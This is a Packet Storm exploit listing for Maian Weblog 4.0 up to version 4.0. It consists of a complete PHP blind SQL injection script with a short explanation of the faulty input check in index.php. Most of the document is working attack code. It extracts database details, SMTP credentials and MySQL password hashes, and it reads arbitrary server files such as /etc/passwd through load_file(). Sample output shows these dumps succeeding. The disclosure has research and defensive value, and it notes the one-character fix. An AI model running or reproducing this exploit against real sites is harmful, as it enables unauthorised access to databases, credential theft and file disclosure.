Maian Weblog 4.0 Blind SQL Injection

2011-03-09T00:00:00
ID PACKETSTORM:99117
Type packetstorm
Reporter mr_me
Modified 2011-03-09T00:00:00

Description

                                        
                                            `<?php  
/*  
maian weblog <= v4.0 Remote Blind SQL Injection Exploit  
vendor: http://www.maianscriptworld.co.uk/  
Thanks to Johannes Dahse: http://bit.ly/dpQXMK  
  
Explanation:  
Lines 335 - 341 of the index.php we see this if statement that concerns  
our variable $b_post.  
  
// Check month and year vars...  
// If they don`t equal 0, are they numeric?..  
if ($b_post==0 && !ctype_digit($b_post))  
{  
header("Location: index.php");  
exit;  
}  
  
This if statement is suppose to prevent the SQL Injection vulnerability.  
However the logic implimented is incorrect, as there will never be a situation  
where the $b_post variable that we control will ever be a 0 and a string value.  
  
So a simple fix to remediate this issue becomes clear, instead of an &&, the  
author was suppose to use an ||. o.O  
  
Further down in the index.php page on lines 348 - 361, we see the location of the  
actual vulnerable code.  
  
$q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs  
WHERE id = '$b_post'  
LIMIT 1  
") or die(mysql_error());  
$BLOG = mysql_fetch_object($q_blog);  
  
// At this point, lets see if the last query fetched anything..  
// If it didn`t, blog id is invalid. Might be someone bookmarked an old link..  
// If no data, redirect to homepage..  
if (mysql_num_rows($q_blog)==0)  
{  
header("Location: index.php");  
exit;  
}  
  
The page redirects after the query is executed. This way you probably won't spot the  
bug in your browser from a blackbox view :). No urldecode() so we can't bypass  
magic_quotes_gpc and the admin credentials are not stored in the database. doh.  
  
Using < or > would make the PoC a little more efficient, but oh well :0)   
Assuming some stars are aligned, the PoC will make well over 11,000 requests...  
[mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080  
  
-------------------------------------------------------  
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t  
by mr_me - https://net-ninja.net/  
-------------------------------------------------------  
  
(+) Setting the proxy to 127.0.0.1:8080  
(+) Getting basic database information  
(+) Database version -> 5.1.41-3ubuntu12.9  
(+) Database name -> maian_weblog  
(+) Database user -> root@localhost  
(+) SMTP details found!  
(+) Getting SMTP host:user:pass -> localhost:maianmail:password  
(+) Access to MySQL database successful, dumping hash!  
(+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413  
(!) Access to load_file(), wanna play? (y/n): y  
  
(+) Please enter the file (q to quit): /etc/shadow  
(-) File doesn't exist/no access.  
(+) Please enter the file (q to quit): /etc/passwd  
(!) Dumping the /etc/passwd file, hold onto your knickers!  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:......  
*/  
  
print_r("  
-------------------------------------------------------  
maian weblog <= v4.0 Remote Blind SQL Injection Explo!t  
by mr_me - https://net-ninja.net/  
-------------------------------------------------------  
");  
  
if ($argc < 3) {  
print_r("  
-----------------------------------------------------------------------------  
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS  
host: target server (ip/hostname)  
path: directory path to wordpress  
Options:  
-p[ip:port]: specify a proxy  
Example:  
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080  
php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/  
-----------------------------------------------------------------------------  
"); die; }  
  
error_reporting(7);  
ini_set("max_execution_time", 0);  
ini_set("default_socket_timeout", 5);  
  
$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";  
  
function setArgs($argv) {  
$_ARG = array();  
foreach ($argv as $arg) {  
if (ereg("--([^=]+)=(.*)", $arg, $reg)) {  
$_ARG[$reg[1]] = $reg[2];  
} elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {  
$_ARG[$reg[1]] = "true";  
} else {  
$_ARG["input"][] = $arg;  
}  
}  
return $_ARG;  
}  
  
$myArgs = setArgs($argv);  
$host = $myArgs["input"]["1"];  
$path = $myArgs["input"]["2"];  
  
if (strpos($host, ":") == true){  
$hostAndPort = explode(":",$myArgs["input"][1]);  
$host = $hostAndPort[0];  
$port = $hostAndPort[1];  
}else{  
$port = 80;  
}  
  
if(isset($myArgs["p"])){  
$proxyAndPort = explode(":",$myArgs["input"][3]);  
$proxy = $proxyAndPort[0];  
$pport = $proxyAndPort[1];  
echo "\n(+) Setting the proxy to ".$proxy.":".$pport;  
}else{  
echo "\n(-) Warning, a proxy was not set";  
}  
  
// rgods sendpacketii() function  
function sendpacket($packet)  
{  
global $proxy, $host, $port, $pport, $html, $proxy_regex;  
if (!isset($proxy)) {  
$ock = fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo "\n(-) No response from ".$host.":".$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo "\n(-) Not a valid proxy..."; die;  
}  
$ock=fsockopen($proxy,$pport);  
if (!$ock) {  
echo "\n(-) No response from proxy..."; die;  
}  
}  
fputs($ock,$packet);  
if ($proxy == "") {  
$html = "";  
while (!feof($ock)) {  
$html .= fgets($ock);  
}  
}  
else {  
$html = "";  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {  
$html .= fread($ock,1);  
}  
}  
fclose($ock);  
return $html;  
}  
  
function read() {  
$fp1 = fopen("/dev/stdin", "r");  
$input = fgets($fp1, 255);  
fclose($fp1);  
return $input;  
}  
  
if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}  
  
function checksqli($sqli, $p){  
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "Connection: Close\r\n\r\n";  
$html = sendpacket($packet);  
if (strlen($html) > 429) { return 1; } else{ return 0; }  
}  
  
function getbasicinfo($p){  
echo "\n(+) Getting basic database information";  
$basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()");  
foreach($basicinfo as $key => $value){  
echo "\n(+) Database ".$key." -> ";  
$admin = ""; $j=1;  
while (!strstr($admin,chr(0))){  
for ($i=1; $i<=126; $i++){  
$sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i;  
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "Connection: Close\r\n\r\n";  
$html = sendpacket($packet);  
if (strlen($html) > 429){  
$admin.= chr($i);  
echo chr($i); break;  
}  
elseif($i === 126){  
$admin .= "\x00";  
break;  
}  
}  
$j++;  
}  
}  
}  
  
function getlogindetails($p, $msg, $tsqli){  
echo $msg;  
$tempvar = ""; $j=1;  
while (!strstr($tempvar,chr(0))){  
for ($i=1; $i<=126; $i++){  
if (!strpos($tsqli, "load_file") == true){  
$sqli = $tsqli."+limit+0,1),".$j.",1))='".$i;  
}  
else  
{  
$sqli = $tsqli."),".$j.",1))='".$i;  
}  
$packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "Connection: Close\r\n\r\n";  
$html = sendpacket($packet);  
if (strlen($html) > 429){  
echo chr($i); break;  
}  
elseif($i === 126){  
$tempvar .= "\x00";  
break;  
}  
}  
$j++;  
}  
  
}  
  
function strhex($string)  
{  
$hex = "";  
for ($i=0; $i < strlen($string); $i++){  
$hex .= dechex(ord($string[$i]));  
}  
return $hex;  
}  
  
getbasicinfo($p);  
$smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1";  
if (checksqli($smtpsqli, $p)){  
echo "\n(+) SMTP details found!";  
$msg = "\n(+) Getting SMTP host:user:pass -> ";  
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";  
$sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+";  
$sqli .= "from+mw_settings";  
getlogindetails($p, $msg, $sqli);  
}  
  
$mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";  
if (checksqli($mysqlsqli, $p)){  
echo "\n(+) Access to MySQL database successful, dumping hash!";  
$msg = "\n(+) MySQL user:pass -> ";  
$sqli = "'+and+ascii(substring((sElEcT+cOncAt(";  
$sqli .= "user,0x3a,password)+from+mysql.user+";  
getlogindetails($p, $msg, $sqli);  
$loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+";  
if (checksqli($loadsqli, $p)){  
echo "\n(!) Access to load_file(), wanna play? (y/n): ";  
$resp = trim(read());  
if(strcmp($resp,"y") === 0){  
$loadfile = "";  
while (strcmp($loadfile, "q") != 0){  
echo "\n(+) Please enter the file (q to quit): ";  
$loadfile = trim(read());  
if (strcmp($loadfile, "q") === 0) { break; }  
$loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+";  
if(checksqli($loadsqli, $p)){  
$sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile);  
$msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n";  
getlogindetails($p, $msg, $sqli);  
}  
else{  
echo "(-) File doesn't exist/no access.";  
}  
}  
}  
else{  
echo "(-) Ok Exiting..\n"; die;  
}  
}  
}  
?>  
  
  
`